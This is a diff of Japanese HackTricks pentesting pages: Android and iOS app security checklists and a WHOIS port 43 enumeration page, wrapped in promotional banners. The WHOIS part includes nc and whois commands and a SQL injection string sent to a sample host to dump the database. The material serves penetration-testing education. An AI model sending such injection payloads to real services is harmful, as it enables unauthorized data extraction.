<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションです * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手してください
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングテクニックを共有しましょう * **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -38,12 +38,12 @@
### [静的解析](android-app-pentesting/#static-analysis) ### [静的解析](android-app-pentesting/#static-analysis)
* [ ] [難読化](android-checklist.md#some-obfuscation-deobfuscation-information)の使用をチェックし、モバイルがルート化されているか、エミュレータが使用されているか、およびアンチタンパリングチェックを行います。[詳細はこちら](android-app-pentesting/#other-checks)を参照してください。 * [ ] [難読化](android-checklist.md#some-obfuscation-deobfuscation-information)の使用をチェックし、モバイルがルート化されているか、エミュレータが使用されているか、および防御チェックが行われているかを確認します。[詳細はこちら](android-app-pentesting/#other-checks)を参照してください。
* [ ] 銀行アプリなどの**機密アプリケーション**は、モバイルがルート化されているかどうかをチェックし、それに応じて動作する必要があります。 * [ ] 銀行アプリなどの**重要なアプリケーション**は、モバイルがルート化されているかどうかをチェックし、それに応じて動作する必要があります。
* [ ] [興味深い文字列](android-app-pentesting/#looking-for-interesting-info)パスワード、URL、API、暗号化、バックドア、トークン、Bluetooth UUIDなどを検索します。 * [ ] [興味深い文字列](android-app-pentesting/#looking-for-interesting-info)パスワード、URL、API、暗号化、バックドア、トークン、Bluetooth UUIDなどを検索します。
* [ ] [firebase ](android-app-pentesting/#firebase)APIに特別な注意を払います。 * [ ] [Firebase](android-app-pentesting/#firebase)APIに特別な注意を払います。
* [ ] [マニフェストを読む:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml) * [ ] [マニフェストを読む:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
* [ ] アプリケーションがデバッグモードであるかどうかをチェックし、「悪用」を試みます * [ ] アプリケーションがデバッグモードであるかどうかを確認し、それを「悪用」しようとします
* [ ] APKがバックアップを許可しているかどうかを確認します * [ ] APKがバックアップを許可しているかどうかを確認します
* [ ] エクスポートされたアクティビティ * [ ] エクスポートされたアクティビティ
* [ ] コンテンツプロバイダー * [ ] コンテンツプロバイダー
@ -51,7 +51,7 @@
* [ ] ブロードキャストレシーバー * [ ] ブロードキャストレシーバー
* [ ] URLスキーム * [ ] URLスキーム
* [ ] アプリケーションが内部または外部に**安全でないデータを保存**しているかどうかは? * [ ] アプリケーションが内部または外部に**安全でないデータを保存**しているかどうかは?
* [ ] パスワードがハードコードされているか、ディスクに保存されているかは?アプリが**安全でない暗号アルゴリズム**を使用しているかは? * [ ] パスワードがハードコードされているか、ディスクに保存されているかは?アプリが**安全でない暗号アルゴリズム**を使用しているかは?
* [ ] すべてのライブラリがPIEフラグを使用してコンパイルされていますか * [ ] すべてのライブラリがPIEフラグを使用してコンパイルされていますか
* [ ] このフェーズ中に役立つ[静的Androidアナライザー](android-app-pentesting/#automatic-analysis)がたくさんあることを忘れないでください。 * [ ] このフェーズ中に役立つ[静的Androidアナライザー](android-app-pentesting/#automatic-analysis)がたくさんあることを忘れないでください。
@ -59,7 +59,7 @@
* [ ] 環境を準備します([オンライン](android-app-pentesting/#online-dynamic-analysis)、[ローカルVMまたは物理](android-app-pentesting/#local-dynamic-analysis) * [ ] 環境を準備します([オンライン](android-app-pentesting/#online-dynamic-analysis)、[ローカルVMまたは物理](android-app-pentesting/#local-dynamic-analysis)
* [ ] [意図しないデータ漏洩](android-app-pentesting/#unintended-data-leakage)があるかどうかを確認します(ログ記録、コピー/貼り付け、クラッシュログ)。 * [ ] [意図しないデータ漏洩](android-app-pentesting/#unintended-data-leakage)があるかどうかを確認します(ログ記録、コピー/貼り付け、クラッシュログ)。
* [ ] SQLiteデータベースに**保存されている機密情報**は? * [ ] **SQLiteデータベースに保存されている機密情報**は?
* [ ] **悪用可能な公開されたアクティビティ**は? * [ ] **悪用可能な公開されたアクティビティ**は?
* [ ] **悪用可能なコンテンツプロバイダー**は? * [ ] **悪用可能なコンテンツプロバイダー**は?
* [ ] **悪用可能な公開されたサービス**は? * [ ] **悪用可能な公開されたサービス**は?
@ -70,14 +70,14 @@
* [ ] 可能な[Androidクライアントサイドインジェクション](android-app-pentesting/#android-client-side-injections-and-others)をチェックします(おそらくここでいくつかの静的コード分析が役立つでしょう) * [ ] 可能な[Androidクライアントサイドインジェクション](android-app-pentesting/#android-client-side-injections-and-others)をチェックします(おそらくここでいくつかの静的コード分析が役立つでしょう)
* [ ] [Frida](android-app-pentesting/#frida)Fridaだけを使用して、アプリケーションから興味深い動的データを取得しますおそらくいくつかのパスワード... * [ ] [Frida](android-app-pentesting/#frida)Fridaだけを使用して、アプリケーションから興味深い動的データを取得しますおそらくいくつかのパスワード...
### 難読化/難読化情報 ### 一部の難読化/難読化情報
* [ ] [こちらを読んでください](android-app-pentesting/#obfuscating-deobfuscating-code) * [ ] [こちらを読んでください](android-app-pentesting/#obfuscating-deobfuscating-code)
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -86,9 +86,9 @@
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションです * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手してください
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングテクニックを共有しましょう * **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください
</details> </details>

View file

@ -3,28 +3,28 @@
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください: 今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong>で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手 * [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを入手 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリに提出してください。 * **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -34,11 +34,11 @@ HackTricksをサポートする他の方法
* [ ] [**iOS Basics**](ios-pentesting/ios-basics.md)を読む * [ ] [**iOS Basics**](ios-pentesting/ios-basics.md)を読む
* [ ] [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md)を読んで環境を準備する * [ ] [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md)を読んで環境を準備する
* [ ] [**iOS Initial Analysis**](ios-pentesting/#initial-analysis)のすべてのセクションを読んで、iOSアプリケーションのペンテストに一般的なアクションを学ぶ * [ ] [**iOS Initial Analysis**](ios-pentesting/#initial-analysis)のすべてのセクションを読んで、iOSアプリをペンテストするための一般的なアクションを学ぶ
### データストレージ ### データストレージ
* [ ] [**Plistファイル**](ios-pentesting/#plist)には機密情報を保存するために使用できます。 * [ ] [**Plistファイル**](ios-pentesting/#plist)には機密情報を保存することができます。
* [ ] [**Core Data**](ios-pentesting/#core-data)SQLiteデータベースには機密情報を保存できます。 * [ ] [**Core Data**](ios-pentesting/#core-data)SQLiteデータベースには機密情報を保存できます。
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase)SQLiteデータベースには機密情報を保存できます。 * [ ] [**YapDatabases**](ios-pentesting/#yapdatabase)SQLiteデータベースには機密情報を保存できます。
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases)の設定ミス。 * [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases)の設定ミス。
@ -53,54 +53,54 @@ HackTricksをサポートする他の方法
### キーボード ### キーボード
* [ ] アプリケーションが[**カスタムキーボードを使用することを許可**](ios-pentesting/#custom-keyboards-keyboard-cache)していますか? * [ ] アプリケーションが[**カスタムキーボードを使用することを許可**](ios-pentesting/#custom-keyboards-keyboard-cache)していますか?
* [ ] 機密情報が[**キーボードキャッシュファイルに保存されているか**](ios-pentesting/#custom-keyboards-keyboard-cache)を確認してください。 * [ ] [**キーボードキャッシュファイル**](ios-pentesting/#custom-keyboards-keyboard-cache)に機密情報が保存されていないか確認してください。
### **ログ** ### **ログ**
* [ ] [**機密情報が記録されていか**](ios-pentesting/#logs)を確認してください。 * [ ] [**機密情報が記録されていないか**](ios-pentesting/#logs)を確認してください。
### バックアップ ### バックアップ
* [ ] [**バックアップ**](ios-pentesting/#backups)は、ファイルシステムに保存された機密情報にアクセスするために使用できます(このチェックリストの初期ポイントを確認してください)。 * [ ] [**バックアップ**](ios-pentesting/#backups)を使用して、ファイルシステムに保存された機密情報にアクセスできます(このチェックリストの最初のポイントを確認してください)
* [ ] また、[**バックアップ**](ios-pentesting/#backups)、アプリケーションの一部の構成を変更し、その後バックアップを電話に**復元**し、**変更された構成**が**ロード**されると、いくつかの(セキュリティ)**機能**が**バイパス**される可能性があります。 * [ ] また、[**バックアップ**](ios-pentesting/#backups)を使用して、アプリケーションの一部の構成を変更し、その後バックアップを電話に**復元**し、**変更された構成**が**ロード**されると、いくつかの(セキュリティ)**機能**が**バイパス**される可能性があります。
### **アプリケーションメモリ** ### **アプリケーションメモリ**
* [ ] [**アプリケーションのメモリ**](ios-pentesting/#testing-memory-for-sensitive-data)内に機密情報がないか確認してください。 * [ ] [**アプリケーションのメモリ**](ios-pentesting/#testing-memory-for-sensitive-data)内に機密情報がないか確認してください。
### **破られた暗号** ### **破られた暗号**
* [ ] 暗号化に使用される[**パスワードを見つけることができるか**](ios-pentesting/#broken-cryptography)を確認してください。 * [ ] 暗号化に使用される[**パスワード**](ios-pentesting/#broken-cryptography)を見つけることができるか確認してください。
* [ ] 送信/保存される機密データに[**非推奨/弱いアルゴリズムが使用されていないか**](ios-pentesting/#broken-cryptography)を確認してください。 * [ ] 送信/保存される機密データには[**非推奨/弱いアルゴリズム**](ios-pentesting/#broken-cryptography)が使用されていないか確認してください。
* [ ] 暗号化関数を[**フックして監視**](ios-pentesting/#broken-cryptography)する。 * [ ] 暗号化関数を**フックして監視**することができるか確認してください
### **ローカル認証** ### **ローカル認証**
* [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証がどのように機能しているかを確認してください。 * [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証がどのように機能しているかを確認してください。
* [ ] [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework)を使用している場合、簡単にバイパスできる可能性があります。 * [ ] [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework)を使用している場合、簡単にバイパスできる可能性があります。
* [ ] [**動的にバイパスできる関数**](ios-pentesting/#local-authentication-using-keychain)を使用している場合、カスタムフリダスクリプトを作成できます。 * [ ] [**Keychain**](ios-pentesting/#local-authentication-using-keychain)を使用してローカル認証が行われている場合、カスタムなfridaスクリプトを作成できます。
### IPCを介した機密機能の露出 ### IPCを介した機密機能の露出
* [**カスタムURIハンドラ/ディープリンク/カスタムスキーム**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) * [**カスタムURIハンドラ/ディープリンク/カスタムスキーム**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [ ] アプリケーションが**どのようなプロトコル/スキームを登録しているか**を確認してください。 * [ ] アプリケーションが**どのようなプロトコル/スキームを登録しているか**を確認してください。
* [ ] アプリケーションが**どのようなプロトコル/スキームを使用するように登録しているか**を確認してください。 * [ ] アプリケーションが**どのようなプロトコル/スキームを使用するように登録しているか**を確認してください。
* [ ] アプリケーションがカスタムスキームから**受信することを期待している機密情報**を、同じスキームを登録している別のアプリケーションによって**傍受**される可能性があるかを確認してください。 * [ ] カスタムスキームを介して他のアプリケーションが**傍受できる機密情報**をカスタムスキームから受信することを期待しているかどうかを確認してください。
* アプリケーションがカスタムスキームを介して**ユーザー入力をチェックおよび消毒していない**場合、いくつかの**脆弱性が悪用**される可能性があるかを確認してください。 * カスタムスキームを介して**ユーザー入力をチェックおよび消毒していない**かどうかを確認し、いくつかの**脆弱性が悪用**される可能性があるかどうかを確認してください。
* どこからでも呼び出すことができる**機密アクションを公開**していないかを確認してください。 * カスタムスキームを介して**どこからでも呼び出すことができる機密アクション**を公開していないかを確認してください。
* [**Universal Links**](ios-pentesting/#universal-links) * [**Universal Links**](ios-pentesting/#universal-links)
* [ ] アプリケーションが**どのようなユニバーサルプロトコル/スキームを登録しているか**を確認してください。 * [ ] アプリケーションが**どのようなユニバーサルプロトコル/スキームを登録しているか**を確認してください。
* `apple-app-site-association`ファイルを確認してください。 * `apple-app-site-association`ファイルを確認してください。
* アプリケーションがカスタムスキームを介して**ユーザー入力をチェックおよび消毒していない**場合、いくつかの**脆弱性が悪用**される可能性があるかを確認してください。 * カスタムスキームを介して**ユーザー入力をチェックおよび消毒していない**かどうかを確認し、いくつかの**脆弱性が悪用**される可能性があるかどうかを確認してください。
* どこからでも呼び出すことができる**機密アクションを公開**していないかを確認してください。 * カスタムスキームを介して**どこからでも呼び出すことができる機密アクション**を公開していないかを確認してください。
* [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md) * [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md)
* アプリケーションがUIActivitiesを受信できるかどうか、特別に作成されたアクティビティで**脆弱性を悪用**できるかを確認してください。 * [ ] アプリケーションがUIActivitiesを受信できるかどうかを確認し、特別に作成されたアクティビティで**脆弱性を悪用**できるかどうかを確認してください。
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) * [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
* アプリケーションが**一般ペーストボードに何かをコピーしているか**を確認してください。 * [ ] アプリケーションが**一般ペーストボードに何かをコピーしているか**を確認してください。
* アプリケーションが**一般ペーストボードからデータを使用しているか**を確認してください。 * [ ] アプリケーションが**一般ペーストボードからデータを使用しているか**を確認してください。
* ペースボードを監視して、**機密データがコピーされていか**を確認してください。 * ペースボードを監視して、**機密データがコピーされていないか**を確認してください。
* [**App Extensions**](ios-pentesting/ios-app-extensions.md) * [**App Extensions**](ios-pentesting/ios-app-extensions.md)
* アプリケーションが**拡張機能を使用しているか**を確認してください。 * アプリケーションが**どのような拡張機能を使用しているか**を確認してください。
* [**WebViews**](ios-pentesting/ios-webviews.md) * [**WebViews**](ios-pentesting/ios-webviews.md)
* 使用されているWebViewsの種類を確認してください。 * 使用されているWebViewsの種類を確認してください。
* **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`**の状態を確認してください。 * **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`**の状態を確認してください。
@ -119,20 +119,20 @@ HackTricksをサポートする他の方法
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでゼロからヒーローまでAWSハッキングを学びましょう</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team ExpertでゼロからヒーローまでAWSハッキングを学びましょう</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -6,15 +6,15 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する * **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegram グループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** * **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,7 +22,7 @@ HackTricks をサポートする他の方法:
# 基本情報 # 基本情報
**WHOIS**プロトコルは、特定のデータベースを介してさまざまなインターネットリソースの登録者や保有者について**問い合わせる**ための標準的な方法として機能します。これらのリソースには、ドメイン名、IPアドレスのブロック、自律システムなどが含まれます。さらに、このプロトコルは、より広範囲の情報にアクセスするためにも利用されます。 **WHOIS**プロトコルは、特定のデータベースを介して**さまざまなインターネットリソースの登録者や保有者について問い合わせる**ための標準的な方法として機能します。これらのリソースには、ドメイン名、IPアドレスのブロック、自律システムなどが含まれます。さらに、このプロトコルは、より広範囲の情報にアクセスするためにも利用されます。
**デフォルトポート:** 43 **デフォルトポート:** 43
``` ```
@ -31,16 +31,16 @@ PORT STATE SERVICE
``` ```
# 列挙 # 列挙
ドメインに関するwhoisサービスのすべての情報を取得します ドメインに関するwhoisサービスの持つすべての情報を取得します:
```bash ```bash
whois -h <HOST> -p <PORT> "domain.tld" whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT> echo "domain.ltd" | nc -vn <HOST> <PORT>
``` ```
通常、WHOISサービスに情報をリクエストすると、使用されているデータベースがレスポンスに表示されることがあります Notice that sometimes when requesting information from a WHOIS service, the database being used appears in the response:
![](<../.gitbook/assets/image (147).png>) ![](<../.gitbook/assets/image (147).png>)
また、WHOISサービスは常に情報を格納および抽出するために**データベース**を使用する必要があります。したがって、ユーザーが提供した情報を使用してデータベースを**クエリ**する際に、**SQLInjection**が存在する可能性があります。たとえば、`whois -h 10.10.10.155 -p 43 "a') or 1=1#"`とすると、データベースに保存されているすべての**情報**を**抽出**できるかもしれません。 Also, the WHOIS service always needs to use a **database** to store and extract the information. So, a possible **SQLInjection** could be present when **querying** the database from some information provided by the user. For example, by doing: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` you could be able to **extract all** the **information** saved in the database.
# Shodan # Shodan
@ -48,7 +48,7 @@ echo "domain.ltd" | nc -vn <HOST> <PORT>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -76,12 +76,12 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
